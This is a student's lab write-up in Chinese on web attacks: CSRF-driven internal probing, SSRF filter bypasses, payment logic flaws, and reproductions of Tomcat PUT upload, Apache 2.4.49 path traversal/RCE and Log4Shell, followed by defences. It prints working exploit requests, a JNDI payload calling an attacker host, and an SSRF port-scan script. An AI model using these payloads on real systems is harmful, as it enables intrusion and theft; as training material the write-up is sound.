1. 项目概述一次高强度、全栈式的Web安全实战演练今天要复盘的是我们信安小学期第十天的实战内容这可以说是整个小学期里强度最大、覆盖面最广的一天。标题里那一长串名词——CSRF内网探测、SSRF防御绕过、逻辑漏洞、支付逻辑漏洞靶场、中间件漏洞还有三个CVE漏洞复现——每一个都不是省油的灯它们共同勾勒出了一幅现代Web应用安全攻防的立体图景。这不像是在学习孤立的知识点更像是在一个高度仿真的“战场”上从攻击者的视角去理解漏洞的成因再从防御者的角度去思考如何构建防线。对于像我这样即将踏入安全行业的学生来说这种将理论漏洞如CSRF、SSRF与具体实战场景如内网探测、绕过WAF相结合的训练价值远超单纯地刷题或看文档。简单来说这一天的核心目标就是打通从漏洞原理到实际利用再到防御绕过的完整链条。我们不仅要明白CSRF跨站请求伪造为什么能让你在不知情的情况下转账还要学会如何利用它作为跳板去探测目标服务器背后的内网结构不仅要理解SSRF服务器端请求伪造如何让服务器成为你的“代理”还要面对各种过滤规则思考如何巧妙地绕过它们。至于逻辑漏洞和支付漏洞那更是直接与业务和金钱挂钩考验的是我们对业务流程的理解深度。而中间件漏洞和CVE复现则是将视角从应用层拉到底层基础设施提醒我们安全的链条是环环相扣的。接下来我就把这“一整天”的硬核收获拆解成几个核心模块和大家详细聊聊其中的门道、踩过的坑以及那些教科书上不会写的实战技巧。2. 核心漏洞原理与攻击链深度拆解2.1 CSRF不止于伪造请求更是内网探测的跳板CSRF的原理大家应该不陌生攻击者诱导受害者浏览器向一个已认证的网站发送恶意请求利用受害者在该网站的登录状态Cookie/Session完成非授权操作。经典的例子就是伪造一个转账的POST请求。但在今天的实战中我们对CSRF的利用上升了一个维度内网探测。为什么CSRF能用于内网探测关键在于“浏览器端发起请求”这个特性。如果目标Web应用存在一个功能其参数支持输入一个URL并且服务器会访问这个URL例如一个头像上传功能支持远程URL或者一个“网页快照”功能那么这个功能就可能存在SSRF隐患。但如果我们无法直接触发这个功能比如需要高权限而该功能对应的请求又缺乏有效的CSRF Token防护那么CSRF就可以派上用场。攻击链构建寻找脆弱端点首先我们需要在目标应用中找到这样一个端点比如/admin/set_avatar?urlhttp://example.com它允许管理员通过URL设置头像服务器会去抓取这个URL的图片。构造CSRF利用页面我们创建一个恶意页面里面隐藏着一个向上述端点发送请求的表单或img标签。将url参数指向我们想探测的内网地址例如http://192.168.1.1:8080。诱导管理员访问通过社交工程等方式让已登录的管理员浏览器访问我们的恶意页面。触发请求与观察反馈管理员的浏览器会自动向目标应用发送请求目标应用的服务端则会去访问我们指定的内网地址。此时我们通过观察目标应用的响应如返回时间、错误信息、甚至回显的部分内容来判断内网IP和端口的存活情况以及服务类型。实操心得这种探测方式非常隐蔽因为请求是从目标服务器本身发出的流量日志看起来是正常的服务器行为。难点在于如何判断探测结果。我们通常采用“时间盲注”的思路如果请求的内网地址端口开放且有服务服务器去访问可能会耗时较长比如尝试建立TCP连接导致目标应用响应变慢如果端口关闭连接会立刻被拒绝响应较快。通过精确测量响应时间的差异可以绘制出粗略的内网地图。在实际靶场中我们配合Burp Suite的Intruder模块自动化地批量测试常见内网IP段和端口效果显著。2.2 SSRF从原理到防御绕过的攻防博弈SSRF是今天另一个重头戏。它的原理是攻击者能够欺骗服务器使其向任意地址通常是内网发起请求。这相当于把服务器变成了一个代理可以用来扫描内网、攻击内部系统甚至利用服务器本身的协议处理漏洞如file://、gopher://、dict://来读取本地文件或执行命令。常见的SSRF漏洞点在线翻译、网页抓取、内容导入如RSS订阅等功能。文件处理功能如通过URL下载图片、文档。社交媒体分享预览功能。一切将用户输入作为URL或主机名并由服务器发起后续请求的地方。防御绕过实战靶场中设置了多层过滤这正是精华所在。我们不能只会用http://192.168.1.1这种原始payload。URL解析差异绕过利用符号http://expected-hostattacker-controlled。一些解析库会认为前面的是用户名密码后面的是主机。但某些后端实现如某些旧版libcurl或前端校验不严时可能会访问attacker-controlled。利用#符号http://expected-host#attacker-controlled。#是片段标识符浏览器不会将其发送到服务器但如果在服务端拼接URL时处理不当可能被错误解析。利用DNS解析技巧将恶意IP绑定到子域名如http://attacker.expected-host.com前提是能控制attacker这个子域名的解析。IP地址编码绕过十进制IPhttp://3232235521等价于192.168.1.1。计算方式(19224)(16816)(18)1。八进制IPhttp://0300.0250.0.1部分环境。十六进制IPhttp://0xC0A80001或http://0xc0.0xa8.0x0.0x1。IPv6地址http://[::ffff:192.168.1.1]或http://[::ffff:c0a8:101]。有时WAF只过滤IPv4格式。URL编码对点号.进行编码http://192%2e168%2e1%2e1。利用不常见的协议或URL格式file://协议直接读取服务器本地文件如file:///etc/passwd。dict://协议探测端口和服务信息如dict://192.168.1.1:6379/info可以探测Redis服务。gopher://协议一个非常强大的协议可以构造任意TCP数据包常用于攻击内网的Redis、Memcached、FastCGI等服务是SSRF攻击的“大杀器”。短地址重定向利用URL缩短服务如 bit.ly, t.cn或自建一个立即返回302重定向到内网地址的服务绕过对目标域名的直接检查。踩坑记录在尝试gopher协议攻击内网Redis时我们一开始总是失败。后来发现靶场环境中的PHP的curl扩展和file_get_contents函数对gopher协议的支持和数据处理方式有细微差别。curl通常更“原生”而file_get_contents需要通过php://包装器。最终我们通过编写一个简单的PHP脚本使用fsockopen手动构造原始的Redis命令数据包再通过gopher协议发送成功实现了未授权访问并写入Webshell。这个过程中对网络协议数据包结构的理解至关重要。3. 业务逻辑漏洞在规则之外寻找突破口逻辑漏洞是“最聪明”的漏洞它不依赖缓冲区溢出或SQL注入这种技术性错误而是利用程序业务流程设计上的缺陷。今天重点演练了两类通用逻辑漏洞和支付逻辑漏洞。3.1 通用逻辑漏洞挖掘思路这类漏洞通常出现在用户交互的各个节点核心思路是“尝试一切非预期操作”。权限绕过水平越权修改请求参数中的ID如user_id123尝试访问其他同等权限用户的资源。关键在于枚举和猜测ID的生成规律自增整数、时间戳、UUID等。垂直越权普通用户尝试访问管理员功能接口。直接通过Burp抓包将访问普通页面的Cookie或Token用于访问管理员后台的URL如/admin/delete_user有时会有“惊喜”。或者在完成某个操作后观察返回的数据包或前端代码中是否泄露了本不该出现的功能链接。状态机制绕过订单状态例如在订单流程中提交-待支付-已支付-发货尝试直接跳过“支付”步骤访问“发货”或“完成”的接口。验证码机制验证码是否在客户端生成或校验是否可重复使用是否在第一次验证后服务器端状态未及时更新导致可暴力破解业务流程顺序例如找回密码流程为1.输入邮箱 - 2.验证邮箱 - 3.重置密码。能否直接访问步骤3的页面如果能参数是否可控竞争条件这是高并发场景下的经典漏洞。例如充值优惠活动“首次充值满100送20”。如果系统先检查是否为首次然后进行充值最后更新“已参与活动”状态两个快速并发的请求就可能都通过首次检查导致重复赠送。在靶场中我们利用Burp Suite的Turbo Intruder插件同时发送数十个兑换优惠券的请求成功兑换了远超库存数量的优惠券。3.2 支付逻辑漏洞靶场实战支付环节直接涉及金钱这里的逻辑漏洞危害性最大。靶场模拟了一个电商购买流程我们成功发现了多处问题价格篡改前端传参最典型的错误是将商品价格放在前端如HTML隐藏域input typehidden nameprice value100或JavaScript变量中。我们直接用Burp拦截请求将price改为0.01甚至负数提交后后端竟然没有二次校验导致以极低价格成交。数量篡改修改购买数量为负数可能导致订单总额为负结合一些退款逻辑可能造成“反向充值”。重复支付与退款漏洞在发起支付请求到支付平台并成功回调后如果本地订单状态更新逻辑有误攻击者可以手动重复触发回调接口重放攻击导致一笔交易多次成功。退款逻辑缺陷例如退款时只检查了用户是否有订单却没有检查该订单是否已经退过款。优惠券/积分逻辑漏洞无限领取领取优惠券的接口是否对同一用户、同一IP、同一时间段领取次数做了限制如果没有可以写脚本循环领取。叠加滥用多张优惠券是否可以无限叠加满减券和折扣券同时使用时总价计算是否可能出现负数边界条件例如“满100减20”的券购买99.99元的商品是否能用系统如何处理小数和精度注意事项在测试支付逻辑漏洞时务必使用测试环境、测试账户和测试支付渠道如沙箱。任何对生产环境的未授权测试都是违法且极其危险的。我们的靶场完全模拟了真实的支付接口回调但资金流是虚拟的。在实战中与开发人员沟通了解完整的支付状态机如待支付、支付中、已支付、已关闭、已退款是挖掘漏洞的基础。4. 中间件漏洞与CVE复现深入基础设施层将视角从应用代码转移到运行应用的容器——中间件是安全能力的一次重要提升。今天复现了三个经典的、具有代表性的CVE漏洞。4.1 CVE-2017-12615 (Apache Tomcat PUT方法任意文件上传)漏洞原理 在Apache Tomcat 7.x版本中如果配置了readonlyfalse默认是true允许使用PUT方法上传文件。但安全机制存在缺陷当请求路径以/结尾时Tomcat会将其当作目录处理从而阻止文件上传。然而攻击者可以通过一些技巧绕过使用双扩展名如shell.jsp%20末尾空格。使用/的URL编码%2f或%5cWindows下进行路径遍历。 在Windows服务器上利用shell.jsp::$DATA这样的NTFS文件流特性也可能导致绕过。复现步骤启动一个存在漏洞的Tomcat 7.0.x版本确保web应用允许PUT方法通常需要修改web.xml。使用Burp Suite发送PUT请求PUT /shell.jsp/ HTTP/1.1 Host: vulnerable-host:8080 Content-Length: 100 % out.println(Hello, Vuln!); %此时会返回403因为/结尾被认为是目录。尝试绕过发送PUT /shell.jsp%20 HTTP/1.1 Host: vulnerable-host:8080 Content-Length: 100 % Runtime.getRuntime().exec(calc); %如果成功会返回201 Created。然后访问http://vulnerable-host:8080/shell.jsp注意没有%20即可执行命令。深度分析 这个漏洞的根源在于Tomcat处理PUT请求时对文件路径的校验逻辑org.apache.catalina.servlets.DefaultServlet与最终存储文件的逻辑java.io.File不一致。校验时可能因为URL解码或规范化认为路径非法但存储时却又按照另一个规则成功创建了文件。这提醒我们在安全校验的整个链条上必须保持逻辑的一致性任何一环的差异都可能导致绕过。4.2 CVE-2021-41773 (Apache HTTP Server 路径穿越与RCE)漏洞原理 在Apache HTTP Server 2.4.49版本中对路径规范化函数ap_normalize_path的修改引入了一个缺陷。当Require all granted配置存在时即目录默认允许访问攻击者可以构造包含./的URL路径绕过路径遍历防护访问到Web根目录之外的文件如/etc/passwd。如果CGI模块mod_cgi被启用甚至可以远程执行命令。复现步骤文件读取部署Apache 2.4.49。发送请求GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1 Host: vulnerable-host这里的%2e是.的URL编码。有缺陷的规范化函数未能正确识别出这些遍历序列。服务器错误地将其解析为/etc/passwd并返回内容。复现步骤RCE需启用mod_cgi确保/cgi-bin/目录存在且配置了ScriptAlias或Options ExecCGI。发送请求GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1 Host: vulnerable-host Content-Type: application/x-www-form-urlencoded echo; whoami这里将/bin/sh解释为CGI脚本并将whoami作为命令执行。深度分析 这是一个典型的“补丁引入新漏洞”案例。开发者在修复旧的安全问题时对复杂的路径规范化逻辑修改不彻底导致了更严重的绕过。在安全开发中对输入进行规范化Canonicalization是极其危险的操作必须经过充分测试确保在所有边缘情况下规范化后的路径都是预期且安全的。4.3 CVE-2021-44228 (Log4Shell)这是2021年底震撼全球的核弹级漏洞今天我们自己在隔离环境复现了它。漏洞原理 Apache Log4j 2.x版本中的一个日志记录功能支持通过JNDIJava命名和目录接口查找变量。当日志内容中包含${jndi:ldap://attacker.com/evil}这样的模式时Log4j会尝试去attacker.com这个LDAP服务器查找资源。而恶意的LDAP服务器可以返回一个指向包含恶意Java类的地址导致目标服务器加载并执行该类从而实现远程代码执行。复现环境搭建漏洞应用创建一个简单的Spring Boot Web应用使用Log4j 2.14.1记录用户输入例如将User-Agent头记录到日志。恶意LDAP服务器使用开源工具marshalsec快速启动一个恶意的LDAP引用服务器。恶意类编译一个简单的Java类静态代码块中执行命令如Runtime.getRuntime().exec(touch /tmp/pwned)并将其托管在一个HTTP服务器上。攻击流程向漏洞应用发送一个HTTP请求在任意可被日志记录的字段如User-Agent、参数q中插入Payload${jndi:ldap://your-ldap-server:1389/Exploit}。漏洞应用记录日志Log4j解析到${jndi:...}向我们的LDAP服务器发起请求。LDAP服务器返回一个HTTP引用指向托管恶意Java类的地址。漏洞应用的Log4j库根据引用去下载并加载恶意类触发静态代码块中的命令执行。深度分析与教训 Log4Shell的可怕之处在于其触发的简单性任何用户输入记录日志即可和利用的广泛性从Web应用到各种Java服务。它暴露了几个深层次问题默认不安全如此强大的动态查找功能在默认情况下开启。供应链安全无数项目间接依赖Log4j很多开发者甚至不知道自己的项目在用。深度防御缺失网络出口限制、运行时安全策略如RASP可以极大缓解此类漏洞的影响。 在复现后我们立即练习了应急响应升级Log4j版本、设置系统属性log4j2.formatMsgNoLookupstrue、检查服务器进程是否对外发起异常DNS连接指向可疑的LDAP地址。5. 实战工具链与自动化技巧面对如此多的漏洞类型和测试点手动测试效率太低。今天整合了一套高效的实战工具链。侦察与信息收集浏览器插件Wappalyzer快速识别中间件、框架、组件版本。子域名枚举subfinder,amass,OneForAll。目录/文件扫描dirsearch,ffuf。配置强大的字典如SecLists是关键。端口与服务扫描nmap。不仅扫描常见端口更要关注-sV版本探测和-sC默认脚本扫描的结果它们常常直接提示潜在漏洞。漏洞探测与利用Burp Suite核心中的核心。除了代理和重放其Scanner模块可以自动化检测CSRF、SSRF需自定义插件、逻辑漏洞如顺序绕过等。Intruder用于参数爆破、模糊测试。Repeater用于精细化的Payload调试。SQLMap对于SQL注入依然是自动化利器。但今天更强调如何将其与Burp联动将Burp抓到的请求直接交给SQLMap (-r参数)。自定义脚本对于复杂的SSRF绕过、竞争条件攻击我们编写了Python脚本。例如用requests库配合多线程threading模拟高并发竞争用socket库构造原始的TCP/UDP包来测试内网服务。Payload管理与测试搭建本地Payload服务器为了测试SSRF我们在本地用Python的http.server模块快速起一个Web服务用于接收目标服务器发来的请求从而确认漏洞是否触发。使用interact.sh或dnslog.cn对于盲SSRF、盲XXE、无回显的命令注入这些外部DNS/HTTP日志记录服务是神器。Payload中带上一个唯一子域名如http://your-unique-id.dnslog.cn如果漏洞存在目标服务器会尝试访问这个地址我们就能在dnslog.cn的控制台看到访问记录从而证实漏洞。自动化流程示例SSRF内网端口扫描# 一个简化的Python脚本示例用于通过SSRF漏洞进行内网端口探测时间盲注 import requests import time target_url http://vuln-app.com/ssrf_endpoint param url cookies {session: your_cookie_here} base_ip 192.168.1.{} ports [80, 443, 8080, 3306, 6379, 27017] for i in range(1, 255): ip base_ip.format(i) for port in ports: test_url fhttp://{ip}:{port} payload {param: test_url} start_time time.time() try: # 设置较短的超时时间快速判断连接拒绝 resp requests.post(target_url, datapayload, cookiescookies, timeout3) elapsed time.time() - start_time # 如果响应时间显著长于基线例如2秒可能端口开放 if elapsed 2.0: print(f[] Potential open: {ip}:{port} - Response time: {elapsed:.2f}s) else: print(f[-] Closed or filtered: {ip}:{port}) except requests.exceptions.Timeout: print(f[*] Timeout on {ip}:{port}, might be open but slow) except requests.exceptions.ConnectionError: print(f[-] Connection error to target app, check your payload or session)6. 防御方案与安全开发建议攻防一体在疯狂测试之后我们更需要思考如何防御。针对CSRF同源策略检查验证Origin或Referer头部是否来源于可信域名。但注意Referer可能被浏览器隐私设置移除。CSRF Token这是最有效的防御手段。为每个用户会话生成一个不可预测的、高熵值的Token包含在表单或请求参数中服务端严格校验。Token应与用户会话绑定并设置合理的过期时间。双重Cookie验证将Token放在Cookie中同时要求请求体或头中也携带相同的Token。攻击者无法读取或修改目标站点的Cookie受同源策略保护因此无法构造有效请求。关键操作二次确认对于转账、改密等操作要求用户输入密码或进行二次身份验证。针对SSRF输入校验与白名单对用户输入的URL进行严格校验。最佳实践是使用白名单只允许访问有限的、已知安全的内部服务地址和端口。如果必须使用黑名单务必过滤所有URL编码变体、各种IP表示法以及危险协议file://,gopher://,dict://等。统一出口与网络隔离将需要对外发起网络请求的服务部署在独立的DMZ区域或使用特定的“出口代理”。严格限制该代理能访问的内网资源最小权限原则。应用服务器本身不应具有访问整个内网的能力。响应处理不要将远程请求返回的完整内容直接返回给用户。进行内容类型检查、大小限制并避免在错误信息中泄露内部服务的真实IP或端口信息。使用URL解析库的安全模式许多语言的URL解析库有“安全”模式或选项可以避免某些绕过务必启用。针对业务逻辑漏洞状态机管理所有重要的业务操作订单、支付、审核都应有明确的状态机并在服务端维护状态。任何状态变更都必须经过校验防止跳步。服务端权威校验所有来自客户端的参数尤其是价格、数量、ID、状态等都必须经过服务端的二次校验和计算。永远不要相信前端传来的业务逻辑数据。幂等性与防重放对于支付、扣款等操作使用唯一事务ID如UUID保证幂等性防止重复提交。关键接口如支付回调应加入防重放机制如nonce。代码审计与威胁建模在开发阶段就进行代码安全审计并针对关键业务流如用户注册登录、支付、密码找回进行威胁建模提前发现设计缺陷。针对中间件与组件漏洞资产清单与版本监控维护所有服务器、中间件、库、组件的详细清单和版本号。订阅CVE公告如NVD、CNVD使用软件成分分析SCA工具自动化监控。最小化安装与及时更新只安装必要的组件和功能关闭不需要的服务如Tomcat的PUT方法。建立严格的补丁管理流程对于Log4j这类基础组件更新必须快速、全面。深度防御在网络层使用WAF拦截已知攻击模式。在主机层配置严格的安全策略和防火墙规则。在运行时可以考虑部署RASP运行时应用自我保护产品从应用内部拦截漏洞利用行为。这一天的训练下来最大的感受是Web安全是一个立体、动态的战场。没有一个漏洞是孤立的CSRF可以成为SSRF的触发器SSRF可以利用中间件漏洞而逻辑漏洞则贯穿于整个业务流之中。作为安全人员我们必须具备这种串联思维既能深入分析单个漏洞的原理又能跳出代码从业务逻辑和系统架构的层面去发现更深层次的风险点。同时自动化工具能解放我们的双手但真正的洞见和绕过思路依然来源于对协议、对系统、对人性弱点的深刻理解。